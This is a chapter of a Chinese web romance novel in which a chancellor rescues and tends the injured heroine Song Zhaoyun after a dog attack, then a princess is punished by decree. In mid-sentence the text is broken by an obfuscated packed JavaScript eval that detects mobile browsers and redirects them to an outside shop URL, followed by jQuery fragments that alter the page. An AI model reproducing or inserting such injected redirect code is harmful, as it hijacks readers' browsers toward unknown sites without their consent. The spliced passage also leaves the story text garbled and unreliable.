4. 乱我心曲(二)

作品:《被阴湿权臣强取豪夺后

    猎狗的腿被羽箭射穿,瞬间便倒在了地上挣扎起来,温热鲜红的血液汩汩流出,染红了地上的花瓣,也染红了宋昭韫雪白的裙摆。


    她跪于地上,双腿发软。


    “韫娘,能起来吗?”熟悉的声音传来,将宋昭韫拉回来现实。


    宋昭韫抬头,看到了属于裴京玉的脸。


    她正想开口,两行眼泪却率先流了下来。


    极度恐吓之下,眼泪是忍不住的。


    见女子这幅模样,裴京玉便没有多说,一把将宋昭韫抱起。随后,在众目睽睽之下,带着宋昭韫离开了此地。


    看着大哥和宋昭韫的背影,裴令安对裴既明道:“韫娘肯定被吓到了,我们要不要安抚一下?”


    “有大哥在呢,”裴既明道,“大哥肯定也不想我们插手。”


    裴令安点点头:“也是。”


    好好的春日宴被一只猎狗给搅浑了,其余人这时候也都乘着马车各自回府。


    公主扶了扶额,她也不知今日怎会出现的这样的事情。关键是差点受伤的还是宋昭韫,裴京玉过几日肯定会过来兴师问罪。


    *


    正是正午,春日的阳光已经变得有些燥热,烤的人浑身暖烘烘的。


    裴京玉将宋昭韫抱出来后,大步走向马车,对车夫道:“去宋宅。”


    车夫见左相怀抱一位女子,低下头,什么也没说。做奴才的哪有什么异议,自然是主子说什么便是什么。


    裴府的马车很大,坐两个人绰绰有余。马车内放着香炉,熏香袅袅。坐席是昂贵的丝绸,一看就价值不菲。


    裴京玉将宋昭韫抱到坐席之上,宋昭韫的指尖忽然动了动,拉了拉自己的裙子。


    裴京玉注意到了她这个小动作,问道:“韫娘,裙子怎么了?”


    宋昭韫小声解释道:“裙子脏了,会把坐席弄脏。”


    裴京玉动作微怔,即使记忆消失,她的性子竟还是如此。


    青年低下头,温声道:“无碍,弄脏了就换新的座椅。偌大的裴府,不至于连这个都要计较。”


    他的身量很高,肩膀宽阔,当宋昭韫窝在他怀中的时候,显得宋昭韫小小一团。


    她还想开口说些什么,却被裴京玉强硬地按在了坐席之上,挣扎不得。


    那舞文弄墨的手好像有无尽的力气。


    “吓到了吗?”裴京玉轻声道。


    说起这个,宋昭韫的双眼又红了红,闪烁着点点泪光。她点点头,在那只黑色的猎狗向她扑来之时,她真的感觉自己即将要命丧于此。


    原来面对死亡是这样的感觉。


    裴京玉轻轻搂住她,拍了拍她的背,哄道:“现在已经没事了。”


    宋昭韫没说话,却控制不住自己的眼泪。裴京玉伸出手,替她抹去了眼角的泪水。


    “好好休息罢。”


    “嗯。”


    宋昭韫静静地靠在他的怀中。


    马车行驶了片刻,宋昭韫忽地察觉到脚踝处传来隐隐的刺痛。


    这让她忍不住微微蹙起眉,闷哼出声。


    裴京玉察觉到她细微的表情变化:“哪里不舒服吗?”


    “脚踝很难受。”宋昭韫细声道。


    “左腿还是右腿?”


    “左腿。”


    闻言,裴京玉径直撩开了她的裙摆,将她绣鞋和罗袜尽数褪下。


    宋昭韫张张嘴,将自己的脚往后缩,书上说,女子的脚是不能随便给男子看的。


    这时,裴京玉的声音从耳后传来:“韫娘,你筋骨受挫,若是不及时处理以后可能会留下病根。”


    宋昭韫便只能任由他碰自己的脚踝。


    裴京玉又道:“刚刚伤的?”


    宋昭韫点了点头。


    “好好坐着。”


    下一秒,男人就放开了宋昭韫,转而掐住了她的腰,让她在席上坐好,自己则跪坐在宋昭韫面前。


    宋昭韫哪见到过这种场景,怎么能让左相跪着,慌张道:“玉哥哥,你这是做什么?”


    “帮你正骨。”裴京玉面不改色。


    随后又嘱咐:“你坐着便好,不要乱动。”


    他将宋昭韫的足放到了自己的大腿之上,用自己的腿稳稳拖住。


    带有些热意衣料摩擦在女子白嫩的肌肤之上。


    宋昭韫抓紧了自己的裙摆,半晌后才道:“……好。”


    接着,裴京玉莹白修长的手指按住了宋昭韫的足,随后轻轻在上揉压,一圈又一圈。


    宋昭韫刚开始还想着男女之防,可是不想后面越来越疼,骨头缝里好像有虫子在钻,最终她还是忍不住呻吟出声。


    “很疼吗?”裴京玉道,“疼就咬我。”


    由于疼痛和惊吓,宋昭韫惊了一身冷汗,斜斜的倚靠在马车上,疲惫又虚弱,眼神微微有些涣散。


    在她还没有反应过来之际,便察觉有什么物体径直侵入的自己的嘴中。


    是裴京玉的手。


    这如何可以?


    她强撑起意识,正想开口说不能这样,却瞬间感受到一阵尖锐的刺痛,仿佛骨头被强行撬开,让她快要昏死过去。


    这样的疼痛不容许她多加思考,于是宋昭韫便一口咬住了口中的手指。


    她这一口咬的极狠,可面前的男人却仿佛什么都没发生一样,语调依旧平稳:“好了,后面便不怎么会疼了。”


    裴京玉从宋昭韫口中轻轻抽出了手指,原本干燥的手指上此时由于沾上液体而变得晶亮,裴京玉垂首凝望着,有一瞬的出神。


    随后,他拿起宋昭韫的罗袜,为她慢条斯理的穿了上去。


    剧痛过后,宋昭韫便恢复了原来的意识,她看到了裴京玉原本漂亮的手指上如今多了丑陋的齿印和猩红的血丝,不好意思道:“对不起,我刚刚太用力了。”


    “无事,我不在意。”裴京玉道。


    马车内又陷入了沉默,只有裴京玉为她穿罗袜的窸窣声。


    此时,察觉到男人手指在自己脚上温热的触感,宋昭韫不免有些忸怩。


    这还没成亲呢,竟连脚也被人看了去。


    后知后觉,她白净的脸上不由得浮现出些许薄红。


    罗袜穿好后,裴京玉便又坐到了她的旁边,将她轻轻揽于自己怀中。


    宋昭韫有些不自然,忽地不知道自己的胳膊和腿该往哪里摆。


    “韫娘如今可真是害羞,”裴京玉似叹了口气,将宋昭韫按


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405420|200477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在自己怀中,“韫娘果真忘了我们过去的一切,忘了我们之间的点点滴滴。”


    今日裴令安也问到了她的过去,于是宋昭韫倚靠在他的怀中,开口道:“我们当时真的很亲密吗?”


    “那是自然。”


    宋昭韫垂下眉,她之前是怎么喜欢上裴京玉的呢?当时在山中,听说裴京玉还一身伤,为什么会喜欢他呢?难不成是因为他好看?


    “韫娘当时第一次见到我,就对我说‘你的脸好漂亮’呢,韫娘已经不记得了吗?”


    大脑轰的一声,宋昭韫的耳尖此刻红的能滴血。居然真的是这样,而且她居然这样直接的说出来了。


    虽然说的不错,但是太不矜持了,怎么可以这么直接?一点姑娘家的样子都没。


    “我当时真的这么说了吗?”宋昭韫怯怯道。


    裴京玉没有回答,只是笑吟吟的看着怀中的女子,对她道:“那韫娘觉得现在如何?”


    宋昭韫把脸埋在裴京玉的怀中,不想与他对视,女子闷闷的声音从衣料中传出:“玉哥哥确实一表人才。”


    裴京玉笑了笑,拿出手帕替宋昭韫擦了擦脸上的汗。


    马车静静行驶着,宋昭韫浑身酸软,便在裴京玉怀中昏昏睡了过去。


    等她再醒来之时,睁眼看到的却是宋月盈圆圆的小脸。


    宋昭韫有几秒的怔愣,随后便听自己的妹妹道:“姐姐,你醒啦。”


    画屏也道:“小姐,你终于醒了。”


    她记得自己睡前还在裴京玉的马车上,如今竟已回到了自己的闺房,便问道:“是裴公子将我送回来的吗?”


    “是的。”画屏回道,“裴公子将小姐带回来之后,还陪了小姐半个时辰。但是小姐一直没醒,裴公子便离开了。”


    宋昭韫从床上直起身子,心中有一丝庆幸,若醒来再看到他,她真该紧张了。


    二人如今的情况,她不知该如何面对。


    “姐姐,你的脚要多久才能好啊?”宋月盈问道。


    宋昭韫摸摸她的脑袋,温声道:“可能要十来天吧,姐姐这段时间不能陪你玩啦。”


    “没关系的,月盈只希望姐姐快点好。”


    宋昭韫一把拉过她,蹭了蹭她温软的脸颊。


    接下来一段时日,她便一直在床上修养。因她一直在闺阁中,不能出门,裴京玉来的次数便也比之前少了。


    半个月后,宋昭韫才能完全下床走路,这时天气也入了夏。


    *


    公主府。


    嘉月公主此时身穿常服,发间不似宋昭韫之前见得那般华贵,而是只簪了一根步摇。


    只见她跪于蒲团之上,身后的仆役之人神情严肃,气氛凝重。


    一位宦官手中举着一张诏书,声音尖厉:“敕曰:朕闻,礼以范行,刑以肃家。今有嘉月公主,治家不谨,致使狂犬惊扰筵席,上下震动,朕心甚恻。念尔素无大恶,姑从宽宥,于公主府内闭门思过两月。非有诏命,不得出入。钦此。”


    随后,公主稽首道:“臣领旨谢恩,陛下万岁万万岁。”


    待宦官走后,侍女杜鹃连忙将其扶起,嘉月公主咬牙:“这一定是裴京玉做的,我要去找太后告状。”